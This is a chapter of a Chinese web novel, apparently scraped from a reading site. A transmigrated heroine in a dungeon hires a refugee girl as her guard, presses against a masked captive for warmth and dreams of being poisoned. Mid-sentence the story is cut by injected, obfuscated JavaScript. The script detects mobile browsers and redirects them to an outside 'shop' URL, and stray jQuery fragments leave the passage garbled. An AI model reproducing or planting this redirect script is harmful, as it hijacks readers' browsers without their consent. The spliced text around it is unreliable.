15. 男女授受不亲

作品:《反派姐姐的自救指北

    “嫁人?”


    沈佩珮的笑意僵在脸上,一双好看的眉毛皱起,上下打量了一番面前的女孩,忍不住问道:“你才多大就想着要嫁人。”


    阿叶理了理黑头巾,露出额前几缕稀疏发黄的头发,笑道:“十五了,不小了。”


    虽然在这里十五岁确实到了可以嫁人的年纪,可是沈佩珮作为一个现代人,在听到这句话的时候还是被震撼到了。


    “那你家里人呢?他们怎么想?”,沈佩珮问。


    “我阿爹死的早,我阿娘身体也不好,就想让我找个好人家嫁了,她也好安心。”


    “所以你说想嫁人是你阿娘的意思,还是你自己也这样想?”


    阿叶大概也从没想过这个问题,她垂着脑袋沉默了片刻,抬眼看向沈佩珮,语气十分认真,“我想我自己是不想嫁人的。”


    “我阿爹去世前是大鸭村最好的猎户,那时候每到快要入冬的时候,我娘就会把攒下来的那些皮子拿去静安换钱,每次回来都会带好多东西,风光极了。”


    “那时候我就在想,我以后也要当一个顶好的猎户,到时候我娘每年入冬的时候就可以拿我猎来的皮子换钱,然后买好多东西回来,就和我爹一样风光。”


    “然后,我就每天跟着我爹上山学着打猎,长棍,匕首,弓箭,样样我都使得。搭陷阱,下钩子,我也都会。可是,去年我爹和大梁哥他们去找赵骏说理的时候,被他的府兵打死了……”


    “从那以后,我娘就开始帮我相看人家了。可是我不会那些缝衣服绣花的本事,人也不好看,又是个没户籍的流民,就算是住草棚子的人家也不要我。”


    “年初,原来住我隔壁的二妮虽然也是流民,但人长的不错,被县太爷收去做了小,还帮她全家都重新入户当了良民。所以我……”


    阿叶没有继续讲下去,沈佩珮也知道她要说什么,没有追问。


    她低头咬着手里的米糕,心里一阵发紧。


    起初系统让她不让穆月入狱时,她其实有想过劝他不用管这群流民的事。


    但当时,沈佩珮觉得男主这种正得发邪的人不会听她的话,这才转了个弯将算盘打到了原书里提过和赵骏不对付的太子头上。


    现在听了阿叶的事,她只觉得幸好自己没有阻止男主。


    想到这,沈佩珮的心里不免生出了几分愧疚,她偷偷的秒了眼情绪低落的阿叶,抿了抿嘴,小声道:“要不然,你来给我当护卫吧。”


    “我保证你的月钱,可以让你阿娘每个月都能买很多好东西回家,让你和你爹一样风光。”


    “真的?”阿叶有些不敢相信。


    “真的啊。”,沈佩珮点点头,“我从小就想要一个女护卫了,被一群男人天天跟着,真的很不方便。”


    阿叶将信将疑地看着沈佩珮,语气里的怀疑仍旧没有消失,“可你现在……”


    “那有什么的,等穆公子回来,我就能回家了,到那时,你就跟我走吧。”


    “好。”


    不得不说,美丽的女人讲出的话就是有迷惑性,阿叶甚至都没问沈佩珮是哪家小姐,就已经决定入职。


    不用担心嫁人的事,她心里一下就舒畅了好多,看见沈佩珮就觉得高兴,笑嘻嘻地跟她说:“那你以后还有什么需要的,就告诉我,我尽力帮你弄来。”


    沈佩珮抱着膝盖,撑着脑袋想了想,缓缓开口:“我想要一床被子。”


    阿叶却一口拒绝了。


    她说食物赌坊的后厨里备的有,但是衣服被褥,他们这群流民本身也没多少,赌坊里也没几件,现在根本没有多的给沈佩珮。


    沈佩珮只好换了个请求,“明天我想出去看看我的两个丫鬟,可以吗?”


    被关进地牢这么久,虽然系统告诉她小桃和小玉非常安全,可沈佩珮还是免不得担心,总想要亲眼看一看。


    “你的两个丫鬟?”,阿叶伸懒腰的动作一顿,想了想,才回道:“那天和你们一起被抓的那两个是吧,她们现在在被关在小静姐屋里帮忙照顾,好得很,比你还自由些。”


    阿叶见沈佩珮满脸疑惑,似乎是没听懂,又解释道:“小静姐是大梁哥的媳妇,最近快生了,屋里缺人帮忙,才把她们带过去的。”


    沈佩珮听完,终于放下心,长舒一口气,却看到阿叶正准备将点心盘子收走。


    她连忙阻止。


    “你还要吃吗?”


    阿叶看着盘里两块孤零零的米糕,看向她。


    刚才沈佩珮吃完了一块,就没再动了,她还以为是她不想吃了。


    沈佩珮点点头,将阿叶手里的盘子接了过来,笑道:“留着一会吃。”


    “好吧。”,阿叶弯腰拎起地上的篮子,整理了一下头巾,对沈佩珮道:“我得回去了,明日再来看你。”


    “好。”


    *


    阿叶一走,沈佩珮便端着那盘点心蹑手蹑脚地挪到鬼面人旁边。


    见他还在闭着眼睛装死,沈佩珮便伸手推了他一把,“做个交易。”


    鬼面人不耐烦地皱了下眉头,睁开眼睛望向她,眼里尽是冰冷冷的寒光。


    “我呢,喂你吃饭,然后再让我抱着睡一晚好不好?”


    “不行。”


    他回答得斩钉截铁,冷冰冰的没留一丝余地。


    闻言,沈佩珮低下了头,将肩膀上要掉不掉的穆月外袍裹紧了些。


    楚云祁没说话,目光却落在紧紧贴着她身体的宽大外袍上,不知为何心里莫名生出一股烦躁。


    但出了今早那样的事,他不可能再同意让她抱着自己了。


    昨日他之所以没有赶走她,一是没想到她会突然抱他,二是听了她的那番言论,心里莫名对她起了几分兴趣,没那么排斥她了。


    他偷偷看她,却不经意扫到她抿紧的嘴唇,被她咬过的左手指尖忽地变得很痒,他顿时感觉到一阵口渴,嗓子里干得快冒烟。


    前世加上现在过去的二十几年里,楚云祁从未有过这样的感觉,他非常不喜欢,因为这让他感到失控,又陌生。


    正当他准备转过头,不去看沈佩珮时。


    她却突然站了起来。


    楚云祁以为她放弃了,谁知她竟一屁股坐在了他腿上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196437|149280||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,毫不客气地在他怀里找了个舒服的位置躺下了。


    “起来”,楚云祁感觉自己嗓子里犹如火烧,语气也变得恶劣,“不要让我说第二次。”


    沈佩珮却连看也不看他,靠在他胸前闷声道:“你动都动不了,大不了再将我颠下去一次,我照样能爬回来。”


    “就是借你身体暖暖,又不会掉块肉,而且我不是给你报酬了吗?是你自己不要。”


    报酬?


    她把这叫做报酬?


    楚云祁看着旁边碟子装着的两块干巴巴的米糕,面具背后的脸更黑了些。


    “男女授受不亲,沈小姐难道没学过?”


    沈佩珮抬头瞥了他一眼,她是真的困了。


    最近这副身体跟着她遭了不少罪,又是受伤又是生病的,已经疲惫不堪了,一沾到鬼面人温暖的体温,她的眼皮就开始打架。


    一点也不想管他在她头上嘀嘀咕咕了些什么话,只想赶紧让他闭嘴睡觉。


    “没学过。”,沈佩珮说着支起上身,眼神困得发直,很不耐烦地威胁道:“但是你再不安静点,我就要亲你了。”


    看到鬼面人震惊的目光,沈佩珮满意地轻轻拍了拍他的面具,又躺了回去,打着哈欠说了声,“晚安”。


    楚云祁整个人都僵住了。


    那种令他讨厌的感觉再次席卷而来,他左手的指尖痒得厉害,就像是有蚂蚁在咬。


    他不得已用大拇指狠狠掐住那处,直到疼痛盖过了痒意,他才稍微从这样失控的感觉中得到一丝解脱,只剩下嗓子里的干涸迟迟得不到缓解。


    可他这回却真的不敢再动了,他的直觉告诉他这女人是真的很疯狂,她说要亲他可能不是假话。


    *


    沈佩珮虽然成功让鬼面人闭了嘴,她这一觉却睡得很不舒服。


    她做梦了。


    梦里她的两只手被两个丫鬟反压在身后,面前站着一个陌生的男人。


    他一把猛捏住了她的下颌,那力道像是要把她的骨头捏碎。


    沈佩珮被迫仰着头,与他对视。


    滔天的恨意在他沉得吓人的眼眸里翻涌,膨胀的愤怒随着他沉重的呼吸喷涌而出,灼得沈佩珮脸颊生疼。


    她吞了口口水,想要说些什么为自己辩解,嗓子里却只能发出“嘶嘶”的气声。


    就像是在往空笔管里不停吹气。


    她说不了话了。


    意识到这点的沈佩珮瞬间出了一身冷汗,她看着眼前这个陌生的男人,骨头都开始打颤。


    男人却没有因为她的反应而产生半分怜悯。


    他手指一用力,卸了她的下巴,将一杯苦得要命的冷酒,灌进她的嘴里。


    酒的度数高得吓人,一入口沈佩珮的口腔就像被火烧,那火沿着她的食道一路滚进胃里。


    由内而外的灼烧感疼得她眼冒金星,头皮发紧,抽搐着倒在地上。


    男人狠狠踢了她一脚,说了些什么她却已经听不真切了。


    只隐隐约约听出不成句子的几个词。


    活该


    报应


    咎由自取